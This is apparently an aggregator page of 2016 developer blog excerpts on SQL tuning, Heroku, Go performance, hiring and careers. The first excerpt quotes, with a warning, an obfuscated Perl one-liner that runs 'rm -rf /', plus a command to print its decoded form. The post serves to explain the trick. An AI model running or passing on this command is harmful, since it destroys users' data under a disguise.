~/devreads

17 Oct 2016

jgamblin 1 min read

Earlier this week someone sent me this one line perl script (that you shouldn’t run): perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Due to some really clever code obfuscation it runs rm -rf /. You can deobfuscate (is that word?) with this: perl -e 's;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;print "$_\n"' While trying to figure out how this code code I stumbled upon…

careerhacking

16 Oct 2016

26 min read

There are a lot of “12 CS books every programmer must read” lists floating around out there. That's nonsense. The field is too broad for almost any topic to be required reading for all programmers, and even if a topic is that important, people's learning preferences differ too much for any book on that topic to be the best book…

kevin 9 min read

I think this is useful and the ballot's complicated so I wanted to share how I'm voting this year. I used several sources to compile this guide: The SF Chronicle's endorsements - they follow these issues every day. The ballot book mailed to every voter, especially the text of the law and the main pro/con […]

todays world

14 Oct 2016

13 Oct 2016

Chris Castle 7 min read

Kyle Seaman is Director of Farm Technology for Freight Farms, producer of pre-assembled, IoT-enabled, hydroponic farms inside repurposed freight containers. What is Freight Farms? Our flagship product, The Leafy Green Machine (LGM), is a complete, commercial-ready, hydroponic growing system assembled inside a repurposed shipping container. Each of our 100+ farms is connected to an IoT […] The post Powering the…

newsapp architecturecustomersproduct features

Prashant Gandhi, Steve Ross-Talbot 1 min read

Compliance and operational risk are top-of-mind concerns for executives in financial services. The changing regulatory environment is forcing firms to rethink how they approach their obligations. Technology is an inevitability as firms look to scale their compliance efforts. Technology has to meet today’s regulatory requirements and evolve with future changes. Exciting new companies are emerging with creative solutions to solve…

Luis Mizutani 1 min read

This is the story of Willy, a friend of mine who has been looking for a new bicycle for months. While observing his experiences with the buying process, I started to think of the different ways that we need to think about customers. Willy saw a "Trek fuel EX9 29" on sale on the website thebikeofmydreams.com. The original price of…

12 Oct 2016

11 Oct 2016

10 Oct 2016

Dan McClure, Michael Kearns 1 min read

“If I wish to engage, then the enemy, for all his high ramparts and deep moat, cannot avoid engagement.” - Sun Tzu How frightening should the prospect of disruptive innovators be for the leaders of a well-run business? There’s a reason for skepticism. Even with all the talk of innovation and creative change in the global marketplace, for many years…

Mark Collin, Matt Hildon, Ruth Harrison 1 min read

Some of the globe’s most iconic retailers spoke at Retail Week Buzz – a 2 day conference hosted in London’s Intercontinental Hotel. The event brought together the best and brightest retail minds to discuss personalisation, tech and the future of the industry. We hosted two sessions – a panel on “solutions for the tech obsessed, ‘always on’ consumer”, and another…

9 Oct 2016

19 min read

Joel Spolsky has a classic blog post on "Finding Great Developers" where he popularized the meme that great developers are impossible to find, a corollary of which is that if you can find someone, they're not great. Joel writes, The great software developers, indeed, the best people in every field, are quite simply never on the market. The average great…

7 Oct 2016

lukaseder 1 min read

Adding the right index to speed up your queries is essential. But after a while, as your system grows, you may find yourself with tons of indexes, which all slow down writing to the database – as with each write to the table, the index needs to be updated as well in the same transaction. … Continue reading Does Your…

sqlindexingperformance

6 Oct 2016

1 min read

Watchub is a service that notifies you of people who followed/unfollowed you and starred/unstarred your repositories.

5 Oct 2016

lukaseder 1 min read

In my SQL Masterclass, I frequently remind participants of the fact how important statistics are for a modern cost based optimiser. For instance, if you consider the fact that in an average E-Banking system’s bookings table, you will probably have a transaction amount histogram like the following: In other words, most of your transactions are … Continue reading Why You…

sqlcbocost based optimizeroptimizeroracle

jgamblin 1 min read

Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website. I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick scripts that call one of 7500…

careerhacking

4 Oct 2016

2 min read

You know the scenes in Friends when Ross starts talking about dinosaurs and he’s SUPER excited but everyone else is losing the will to live? This is basically that, only instead of dinosaurs, it’s emoji, and unlike Ross, I have never successfully befriended a monkey. Last month, my coworker casually told me he still has a 2001 era DoCoMo phone,…

3 Oct 2016

9 min read

I can't think of a single large software company that doesn't regularly draw internet comments of the form “What do all the employees do? I could build their product myself.” Benjamin Pollack and Jeff Atwood called out people who do that with Stack Overflow. But Stack Overflow is relatively obviously lean, so the general response is something like “oh, sure…

2 Oct 2016

1 min read

As a DevOps/SRE, I spent a reasonable amount of time dealing with metrics and alerts.

30 Sept 2016

Per Fragemann 3 min read

We recently launched our new Activity Stream. What began as a small idea turned into quite the large engineering undertaking. The results are astonishing, but it was a lot of hard work. In this part we’ll share how the design took shape. Whiteboard and paper drawings Each larger project at Small Improvements begins with […]

producthow we work

Dave Cheney 4 min read

The recent total war bombardment of Brian Krebs’ site, and the subsequent allegation that the traffic emanated from compromised home routers, cameras, baby monitors, doorbells, thermostats, and whatnot, got me thinking. Prolexic said the 665 Gbps attack that hit my site tonight is almost twice the size of the largest attack they've seen previously. — […]

small ideasinternet of shitiotsecurity

Jim Highsmith 1 min read

From time to time I see articles or blogs bemoaning the state of agile. The authors are concerned that the movement has gone awry, that people are practicing prescriptive agile, that they have abandoned agile values, that they are not living up to the vision of the founders. So, what did they expect?

28 Sept 2016

Rand Arete 5 min read

Many of the compelling and engaging application experiences we enjoy every day are powered by event-based systems; requesting a ride and watching its progress, communicating with a friend or large group in real time, or connecting our increasingly intelligent devices to our phones and each other. Behind the scenes, similar architectures let developers connect separate […] The post Apache Kafka…

newsapache kafkadatadata analyticsdeveloper tools

lukaseder 1 min read

Some people make architecture decisions purely based on the loudest consultant: no, we base all our important architectural decisions on # of tweets. It's a Twitter Oriented Architecture ;) — Gareth Western (@gareth) September 21, 2016 For most others, however, decisions are not as simple as this. For instance: When should we start evaluating NoSQL … Continue reading When to…

sqlgraph databasesjsonnosqlrdbms

Stanko 1 min read

Before modern frameworks, I always used jQuery's scrollTo method. At some point, not every project included jQuery, so I wrote simple function to animate window scroll. I have kept copying that function from project to project. Finally I took some time, cleaned it up and published it on the npm (this is the first npm package I published). Check the…

27 Sept 2016

1 min read

In my previous post, I discussed the challenges of growing the engineering team and defining the roles of a CTO vs VP of engineering. A common question that came up is: when is a good time to start looking for a VP of engineering. I am afraid that there isn’t a simple answer but more a mix of a few…

lukaseder 1 min read

A recent question on Stack Overflow about jOOQ caught my attention. The question essentially asked: Why do both of these loops work? And indeed, just like in PL/SQL, you can use any jOOQ ResultQuery as a Java 5 Iterable, because that’s what it is. An Iterable<R> where R extends Record. The semantics is simple. When … Continue reading A Hidden…

javajava 8sqlcursorforeach

18 min read

Developer compensation has skyrocketed since the demise of the Google et al. wage-suppressing no-hire agreement, to the point where compensation rivals and maybe even exceeds compensation in traditionally remunerative fields like law, consulting, etc. In software, "senior" dev salary at a high-paying tech company is $350k/yr, where "senior" can mean "someone three years of out school" and it's not uncommon…

1 min read

I have seen a lot of posts like this subject, but almost all of them were about stuff you should do and almost none of them reflected how I truly feel, how I want a product to be so I can “love” it.

Felipe Sousa-Rodriguez, Rae Abileah 1 min read

Small progressive organizations, working alongside social movements, can have a huge impact in the world. These non-profits often organize to empower those most impacted by the socio-economic issues of our time, and to solve some of today’s most pressing problems, such as poverty, corruption, money in politics, environmental degradation, inhumane immigration policies, police brutality, warfare, and LGBTQ discrimination. What does…

26 Sept 2016

1 min read

This is a guest post by my friend and colleague Samantha Davies. Samantha is a math Ph.D student at the University of Washington, and a newly minted math blogger. Go check out her blog, With High Probability. If I said “let’s talk about temperature and voltage”, you might be interested, but few would react the same if instead I suggested…

25 Sept 2016

23 Sept 2016

1 min read

Today we are launching a new API application process. Starting today, developers will need to fill out an application form to request access…

22 Sept 2016

Brett Goulder 2 min read

Encrypted communication is now the norm for applications on the Internet. At Heroku, part of our mission is to spread encryption by making it easy for developers to setup and use SSL on every application. Today we take a big step forward in that mission by making Heroku SSL generally available, allowing you to easily […] The post SSL Is…

newsproduct featuressecurity

21 Sept 2016

Schakko 3 min read

One part of my work is to inspect request for quotes (RfQs), gather customer requirements, estimate the effort and prepare a written offer. Most of our customers do not want to pay a separate bill for every sprint or user story but get a number or range for the total costs […] The post Side project: A tool for preparing…

project ideas

Ruslan Spivak 15 min read

I was sitting in my room the other day and thinking about how much we had covered, and I thought I would recap what we’ve learned so far and what lies ahead of us. Up until now we’ve learned: How to break sentences into tokens. The process is called lexical analysis and the part of the interpreter that does it…

20 Sept 2016

19 Sept 2016

1 min read

The next Monday, when the fathers were all back at work, we kids were playing in a field. One kid says to me, “See that bird? What kind of bird is that?” I said, “I haven’t the slightest idea what kind of a bird it is.” He says, “It’s a brown-throated thrush. Your father doesn’t teach you anything!” But it…

17 Sept 2016

Dave Cheney 5 min read

Sunday September the 18th marks a month since the Go 1.8 cycle opened officially. I’m passionate about the performance of Go programs, and of the compiler itself. This post is a brief look at the state of play, roughly 1/2 way into the development cycle for Go 1.81. Note: these results are of course preliminary […]

goprogrammingperformance

15 Sept 2016

Chris Montaño, Ross Pettit 1 min read

The perfect storm: incumbents in publishing, media, entertainment, and retail have been displaced by unencumbered upstarts, who have reshaped the competitive landscape in their own image. In the wake of the 2008 crisis, financial institutions (FIs) were weakened by new regulations and a loss of public confidence.

14 Sept 2016

Michael Carroll 1 min read

Add blocks and conditionals to your programming language with Ohm, the open source Javascript grammar parser framework.

Michael Carroll 1 min read

Add blocks and conditionals to your programming language with Ohm, the open source Javascript grammar parser framework.

lukaseder 1 min read

A while ago, I blogged about the importance of avoiding unnecessary COUNT(*) queries:https://blog.jooq.org/sql-tip-of-the-day-be-wary-of-select-count … and how to replace them with equivalent EXISTS queries As I’m updating the SQL training to show also PostgreSQL performance characteristics in addition to Oracle, I really have to reiterate this topic. Please repeat after me: Thou shalt not use COUNT(*) … Continue reading Avoid Using…

sqlcountexistsoracleperformance

13 Sept 2016

Rimas Silkaitis 9 min read

One of the interesting patterns that we’ve seen, as a result of managing one of the largest fleets of Postgres databases, is one or two tables growing at a rate that’s much larger and faster than the rest of the tables in the database. In terms of absolute numbers, a table that grows sufficiently large […] The post Handling Very…

engineeringpostgres

1 min read

Over the last 3 years I built our startup taking on multiple roles, engineer + VP of engineering + CTO, I’m finally transitioning to being a full time CTO. Funny enough, I kind of always disliked the CTO title. This is probably because this is one of the most poorly defined titles out there. It doesn’t seem to mean anything,…

1 min read

Now that the interns have mostly gone back to school, it’s a good time to look back at what they did while they were here. We had a bumper crop – more than 30 dev interns between our London, New York and Hong Kong offices – and they worked on just about every corner of our code-base.

12 Sept 2016

Michael Ruhwedel 5 min read

It’s no secret that we at Small Improvements love to use cutting edge technologies for our application. On the client side, there’s no limit, that’s why we’re rapidly transitioning to React. In the backend, we’re pushing the limits too, but we’re currently bound by what the App Engine has to offer. The main grievance for us is that […]

backendinfrastructure

49 min read

Tavish Armstrong has a great document where he describes how and when he learned the programming skills he has. I like this idea because I've found that the paths that people take to get into programming are much more varied than stereotypes give credit for, and I think it's useful to see that there are many possible paths into programming.…

9 Sept 2016

8 Sept 2016

Chris Castle 2 min read

Austen Ito is a software engineer at leading online fashion brand Bonobos, based in New York. Read our Bonobos customer story for more information about how Heroku has helped their business. What do you have running on Heroku? We’re running just about everything on Heroku, including our Bonobos.com website, cross-app messaging services, an API for […] The post Running the…

newscustomerseducationjavascriptpostgres

1 min read

Onboarding is the process of getting clients to successfully start using a new service. In this free e-Book, we show you how to successfully onboard clients to a cloud service.

5 min read

I generally haven’t written much about software architecture. People make heuristics into religion. But here is something I thought about: how to build in self-correction into systems. This has been something just vaguely sitting in my head lacking a clear conceptual definition until a whole slew of things popped up today that all had the exact same issue at its…